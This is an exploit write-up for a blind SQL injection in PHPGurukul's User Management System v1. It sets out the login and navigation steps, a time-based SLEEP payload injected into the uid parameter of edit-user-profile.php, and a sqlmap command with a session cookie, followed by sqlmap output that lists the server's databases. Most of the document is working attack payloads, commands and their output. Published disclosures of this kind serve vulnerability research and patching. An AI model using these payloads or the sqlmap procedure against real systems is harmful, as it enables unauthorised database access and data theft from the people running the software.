User Management System 1 SQL Injection

`# Exploit Title: user management system v1 authenticated Blind SQL Injection  
# Google Dork: N/A  
# Date: 29/1/2021  
# Exploit Author: Zeyad Azima  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link:  
https://phpgurukul.com/user-management-system-in-php-using-stored-procedure/  
# Version: V1  
# Tested on: Windows  
# CVE : N/A  
  
# Identify the vulnerability  
  
1- go to http://localhost/admin/ and login with your account  
  
2- then go to http://localhost/admin/registered-users.php  
  
3- Click edit on any user and then add the following payload to the url  
  
payload: AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT)  
url: http://localhost/ums-sp/admin/edit-user-profile.php?uid=3%20AND%20(SELECT%205008%20FROM%20(SELECT(SLEEP(5)))zVHT)  
  
If the web server makes you wait 5 seconds then it's vulnerable  
  
  
# Exploit  
  
Now you can exploit it using sqlmap  
  
command: sqlmap -u url --cookies="cookies here" --dbs  
  
example: sqlmap -u http://localhost/admin/edit-user-profile.php?uid=3  
--cookie="PHPSESSID=dtp3titus8giv9bpdmimi6r6f1" --dbs  
  
___  
__H__  
___ ___[,]_____ ___ ___ {1.4.10.16#dev}  
|_ -| . [)] | .'| . |  
|___|_ [']_|_|_|__,| _|  
|_|V... |_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without  
prior mutual consent is illegal. It is the end user's responsibility  
to obey all applicable local, state and federal laws. Developers  
assume no liability and are not responsible for any misuse or damage  
caused by this program  
  
[*] starting @ 22:55:16 /2021-01-29/  
  
[22:55:16] [INFO] resuming back-end DBMS 'mysql'  
[22:55:16] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: uid (GET)  
Type: boolean-based blind  
Title: Boolean-based blind - Parameter replace (original value)  
Payload: uid=(SELECT (CASE WHEN (7929=7929) THEN 3 ELSE (SELECT  
1849 UNION SELECT 3460) END))  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: uid=3 AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT)  
---  
[22:55:16] [INFO] the back-end DBMS is MySQL  
web application technology: Apache 2.4.41, PHP 7.3.10  
back-end DBMS: MySQL >= 5.0.12  
[22:55:16] [INFO] fetching database names  
[22:55:16] [INFO] fetching number of databases  
[22:55:16] [INFO] resumed: 6  
[22:55:16] [INFO] resumed: mysql  
[22:55:16] [INFO] resumed: information_schema  
[22:55:16] [INFO] resumed: performance_schema  
[22:55:16] [INFO] resumed: sys  
[22:55:16] [INFO] resumed: umspsdb  
[22:55:16] [INFO] resumed: zmsdb  
available databases [6]:  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] sys  
[*] umspsdb  
[*] zmsdb  
  
[22:55:16] [INFO] fetched data logged to text files under  
`